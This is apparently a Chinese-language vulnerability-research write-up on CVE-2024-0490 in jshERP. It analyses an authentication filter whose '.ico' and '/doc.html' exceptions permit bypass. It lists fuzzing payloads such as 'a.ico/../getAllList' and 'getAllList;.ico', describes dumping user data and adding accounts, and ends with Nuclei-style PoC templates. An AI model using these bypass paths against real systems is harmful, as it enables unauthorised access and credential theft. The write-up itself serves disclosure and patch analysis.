本次我们继续以漏洞挖掘者的视角,来分析此次漏洞产生的原因......
参考
NVD - CVE-2024-0490https://nvd.nist.gov/vuln/detail/CVE-2024-0490 项目下载地址,此次测试版本为3.1版本 实际测试3.2也存在
https://github.com/jishenghua/jshERP/releaseshttps://github.com/jishenghua/jshERP/releases
接口调用栈
我们在正常调用接口时, 如getAllList接口,调用栈如下
其中有一个filter 额外的引人注意,doFilter:68 它位于com.jsh.erp.filter包下,是作者自己定义的过滤器
分析自定义过滤器
我们看看用作者定义的Filter
package com.jsh.erp.filter;
public class LogCostFilter implements Filter {
private static final String FILTER_PATH = "filterPath";
private static final String IGNORED_PATH = "ignoredUrl";
private static final List<String> ignoredList = new ArrayList<>();
private String[] allowUrls;
private String[] ignoredUrls;//重点分析
@Resource
private RedisService redisService;
...
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String requestUrl = servletRequest.getRequestURI();
//具体,比如:处理若用户未登录,则跳转到登录页
Object userId = redisService.getObjectFromSessionByKey(servletRequest,"userId");
if(userId!=null) { //如果已登录,不阻止
chain.doFilter(request, response);
return;
}
if (requestUrl != null && (requestUrl.contains("/doc.html") ||
requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))) {
chain.doFilter(request, response);
return;
}
if (verify(ignoredList, requestUrl)) {//重点关注
chain.doFilter(servletRequest, response);
return;
}
if (null != allowUrls && allowUrls.length > 0) {
for (String url : allowUrls) {
if (requestUrl.startsWith(url)) {
chain.doFilter(request, response);
return;
}
}
}
servletResponse.sendRedirect("/login.html");
}
...
}
放行了/doc.html
比较注意的是verify, 不过再次之前看看作者定义的这个Filter类初始化是怎样的
@Override
public void init(FilterConfig filterConfig) throws ServletException {
String filterPath = filterConfig.getInitParameter(FILTER_PATH);
if (!StringUtils.isEmpty(filterPath)) {
allowUrls = filterPath.contains("#") ? filterPath.split("#") : new String[]{filterPath};
}
String ignoredPath = filterConfig.getInitParameter(IGNORED_PATH);
if (!StringUtils.isEmpty(ignoredPath)) {
ignoredUrls = ignoredPath.contains("#") ? ignoredPath.split("#") : new String[]{ignoredPath};
for (String ignoredUrl : ignoredUrls) {
ignoredList.add(ignoredUrl);
}
}
}
允许访问的url 是这么多,也就是说这些访问url,我们的请求会chain.doFilter(request, response);会被正常转发,也是一个绕过点
继续分析ignoredList这参数
.ico这个被添加到了ignoredList , 难道想忽略url的这个后缀吗?
对象的初始化分析完了,接下来重点分析这段代码,看看verify的逻辑。目前我们已经知道ignoredList 中存在值.ico
if (verify(ignoredList, requestUrl)) {//重点关注
chain.doFilter(servletRequest, response);
return;
}
verify方法分析
追入verify方法
private static boolean verify(List<String> ignoredList, String url) {
for (String regex : ignoredList) {
Pattern pattern = Pattern.compile(regexPrefix + regex + regexSuffix);
Matcher matcher = pattern.matcher(url);
if (matcher.matches()) {
return true;
}
}
return false;
}
第一轮regex变成.ico,之后加上前缀与后缀pattern = “^..ico.$” ,这个正则表达式,它的含义是:以任意字符(包括空字符)开始,然后匹配.ico
字符串,最后以任意字符结束。换句话说,它匹配包含.ico
字符串的文本
匹配url是否存在返回bool值,若if条件成立调用chain.doFilter(servletRequest, response);
可以看的出来作者想放行网站的图标像favicon.ico这种的资源文件,但是这也无意中可能照成某些接口被访问的漏洞
过滤器绕过
有经验的大佬可能已经想到了绕过的方法!我先不透露,先分享自己的方法吧,基于模糊测试。
首先通过网络检索收集到足够多的payload ,之后进行模糊测试
思路:
1,../跳转
/jshERP-boot/user/a.ico/../getAllList
/jshERP-boot/user/doc.html/../getAllList2,截断
/jshERP-boot/user/getAllList%00.ico // %00阶段老古董了
/jshERP-boot/user/getAllList%0d%0a%0d%0a.ico //CRLF 注入
/jshERP-boot/user/getAllList?a=.ico //get传参 /jshERP-boot/user/getAllList;.ico //分号表结束
/jshERP-boot/user/getAllList#.ico //#
是用来指导浏览器动作测试结果
/jshERP-boot/user/a.ico/../getAllList 成功/jshERP-boot/user/doc.html/../getAllList 成功
/jshERP-boot/user/getAllList%00.ico 400
/jshERP-boot/user/getAllList%0d%0a%0d%0a.ico 404
/jshERP-boot/user/getAllList?a=.ico 302
/jshERP-boot/user/getAllList;.ico 成功
/jshERP-boot/user/getAllList#.ico 400
如此我们得到了两个有效payload(其中../的逻辑是一样的所以不算)
/jshERP-boot/user/a.ico/../getAllList 与 /jshERP-boot/user/getAllList;.ico
漏洞复现
访问url 信息泄露
可以看到全部的用户信息,随后我们用这些信息尝试登录一下,这里可用提供文档接口调试,
也可用burp
以上只是其中的一种利用方式,当然我们可以访问添加用户的接口,添加一个用户之后登录即可。
漏洞修补
可以看出作者把.ico 以及ignoredList 都拿掉了,这是其1
其2
对userService.getUser() 也进行了优化
附赠poc
http: - method: GET path: - "{{BaseURL}}/jshERP-boot/user/a.ico/../getAllList"
or
http: - method: GET path: - "{{BaseURL}}/jshERP-boot/user/getAllList;.ico"
or
http:
- method: GET
path: - "{{BaseURL}}/jshERP-boot/user/doc.html/../getAllList"